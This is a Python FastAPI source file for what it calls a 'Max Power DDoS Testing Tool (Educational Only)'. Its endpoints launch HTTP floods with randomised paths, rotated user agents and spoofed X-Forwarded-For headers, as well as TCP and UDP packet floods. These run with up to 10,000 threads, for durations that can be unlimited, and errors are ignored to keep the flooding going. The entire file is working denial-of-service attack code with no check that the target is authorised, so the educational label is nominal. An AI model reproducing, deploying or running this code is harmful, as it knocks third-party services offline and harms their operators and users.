main.py

# main.py
import uvicorn
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel, conint, constr
import threading
import requests
import time
import logging
import socket
import random
import ssl
from concurrent.futures import ThreadPoolExecutor
from urllib3 import disable_warnings
from urllib3.exceptions import InsecureRequestWarning

# Disable SSL warnings for Layer 7 attacks
disable_warnings(InsecureRequestWarning)

logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

app = FastAPI(title="Max Power DDoS Testing Tool (Educational Only)")

# Global attack control
attack_active = False
attack_thread = None
executor = ThreadPoolExecutor(max_workers=10000)  # Maximum threads

# Connection pool for Layer 7 attacks
session = requests.Session()
session.mount('http://', requests.adapters.HTTPAdapter(pool_connections=10000, pool_maxsize=10000))
session.mount('https://', requests.adapters.HTTPAdapter(pool_connections=10000, pool_maxsize=10000))

class Layer7Config(BaseModel):
    target: str
    port: int = 80
    duration: int = 30  # -1 for unlimited
    threads: int = 10000  # Default to max threads
    keep_alive: bool = True
    method: constr(regex='^(GET|POST|HEAD|PUT|DELETE)$') = "GET"
    payload_size: int = 0  # For POST requests

class Layer4Config(BaseModel):
    target: str
    port: int = 80
    duration: int = 30  # -1 for unlimited
    threads: int = 10000  # Default to max threads
    protocol: constr(regex='^(tcp|udp)$') = "tcp"
    payload_size: int = 1024
    connection_rate: int = 1000  # Connections per second

def generate_payload(size: int) -> bytes:
    """Generate random payload for Layer 4 attacks"""
    return bytes(random.getrandbits(8) for _ in range(size))

def generate_random_path():
    """Generate random URL path for Layer 7 attacks"""
    chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    return '/' + ''.join(random.choice(chars) for _ in range(random.randint(5, 15)))

def generate_random_headers():
    """Generate random headers for Layer 7 attacks"""
    user_agents = [
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)",
        "Mozilla/5.0 (X11; Linux x86_64)",
        "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X)",
        "Mozilla/5.0 (iPad; CPU OS 15_0 like Mac OS X)"
    ]

    accept_types = [
        "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "application/json,text/plain,*/*",
        "image/webp,image/apng,image/*,*/*;q=0.8"
    ]

    return {
        "User-Agent": random.choice(user_agents),
        "Accept": random.choice(accept_types),
        "Accept-Language": "en-US,en;q=0.9",
        "Accept-Encoding": "gzip, deflate",
        "Connection": "keep-alive" if random.random() > 0.3 else "close",
        "Cache-Control": "no-cache",
        "Pragma": "no-cache",
        "DNT": "1",
        "Upgrade-Insecure-Requests": "1",
        "X-Forwarded-For": f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"
    }

def layer7_attack(target_url: str, config: Layer7Config):
    global attack_active

    # Prepare request data
    path = generate_random_path()
    headers = generate_random_headers()

    if config.method == "POST":
        data = generate_payload(config.payload_size)
    else:
        data = None

    while attack_active:
        try:
            session.request(
                method=config.method,
                url=f"{target_url}{path}",
                headers=headers,
                data=data,
                timeout=5,
                verify=False
            )
        except:
            pass  # Ignore errors to keep flooding

def layer4_attack(target_ip: str, port: int, protocol: str, payload_size: int):
    global attack_active

    while attack_active:
        sock = None
        try:
            if protocol == "tcp":
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                sock.settimeout(5)
                sock.connect((target_ip, port))

                while attack_active:
                    payload = generate_payload(payload_size)
                    sock.send(payload)
                    time.sleep(0.001)  # Very fast sending
            else:  # udp
                sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                while attack_active:
                    payload = generate_payload(payload_size)
                    sock.sendto(payload, (target_ip, port))
                    time.sleep(0.001)  # Very fast sending

        except:
            pass  # Ignore errors to keep flooding
        finally:
            if sock:
                sock.close()

def start_layer7_attack(config: Layer7Config):
    global attack_active
    attack_active = True

    # Build target URL
    protocol = "https" if config.target.startswith("https") else "http"
    target_url = f"{config.target}:{config.port}"

    logger.info(f"Starting Layer 7 attack on {target_url} with {config.threads} threads")

    # Start attack threads
    for _ in range(config.threads):
        executor.submit(layer7_attack, target_url, config)

    # Handle duration
    if config.duration != -1:
        time.sleep(config.duration)
        stop_attack()
    else:
        logger.info("Layer 7 attack running indefinitely until manually stopped")

def start_layer4_attack(config: Layer4Config):
    global attack_active
    attack_active = True

    # Extract IP from target URL
    try:
        target_ip = socket.gethostbyname(config.target.split("//")[-1].split("/")[0])
    except:
        raise HTTPException(status_code=400, detail="Invalid target URL")

    logger.info(f"Starting {config.protocol.upper()} attack on {target_ip}:{config.port} with {config.threads} threads")

    # Start attack threads
    for _ in range(config.threads):
        executor.submit(layer4_attack, target_ip, config.port, config.protocol, config.payload_size)

    # Handle duration
    if config.duration != -1:
        time.sleep(config.duration)
        stop_attack()
    else:
        logger.info(f"{config.protocol.upper()} attack running indefinitely until manually stopped")

def stop_attack():
    global attack_active
    attack_active = False
    logger.info("Attack stopped.")

@app.post("/layer7/attack")
def launch_layer7_attack(config: Layer7Config):
    global attack_thread
    if attack_thread and attack_thread.is_alive():
        raise HTTPException(status_code=400, detail="Attack already in progress")

    # Validate thread count
    if config.threads > 10000:
        raise HTTPException(status_code=400, detail="Max 10,000 threads allowed")

    # Validate duration
    if config.duration > 5000:
        raise HTTPException(status_code=400, detail="Max duration 5000 seconds")

    # Validate payload size
    if config.payload_size > 65507:
        raise HTTPException(status_code=400, detail="Max payload size is 65507 bytes")

    attack_thread = threading.Thread(target=start_layer7_attack, args=(config,), daemon=True)
    attack_thread.start()
    return {"status": "layer7_attack_started", "config": config}

@app.post("/layer4/attack")
def launch_layer4_attack(config: Layer4Config):
    global attack_thread
    if attack_thread and attack_thread.is_alive():
        raise HTTPException(status_code=400, detail="Attack already in progress")

    # Validate thread count
    if config.threads > 10000:
        raise HTTPException(status_code=400, detail="Max 10,000 threads allowed")

    # Validate duration
    if config.duration > 5000:
        raise HTTPException(status_code=400, detail="Max duration 5000 seconds")

    # Validate payload size
    if config.payload_size > 65507:
        raise HTTPException(status_code=400, detail="Max payload size is 65507 bytes")

    attack_thread = threading.Thread(target=start_layer4_attack, args=(config,), daemon=True)
    attack_thread.start()
    return {"status": f"{config.protocol}_attack_started", "config": config}

@app.post("/stop")
def stop():
    stop_attack()
    return {"status": "attack_stopped"}

@app.get("/status")
def status():
    return {"attack_active": attack_active}

if __name__ == "__main__":
    uvicorn.run(
        app,
        host="0.0.0.0",
        port=8000,
        workers=2,  # Match your 2vCPU
        limit_concurrency=10000,
        limit_max_requests=10000,
        timeout_keep_alive=5
    )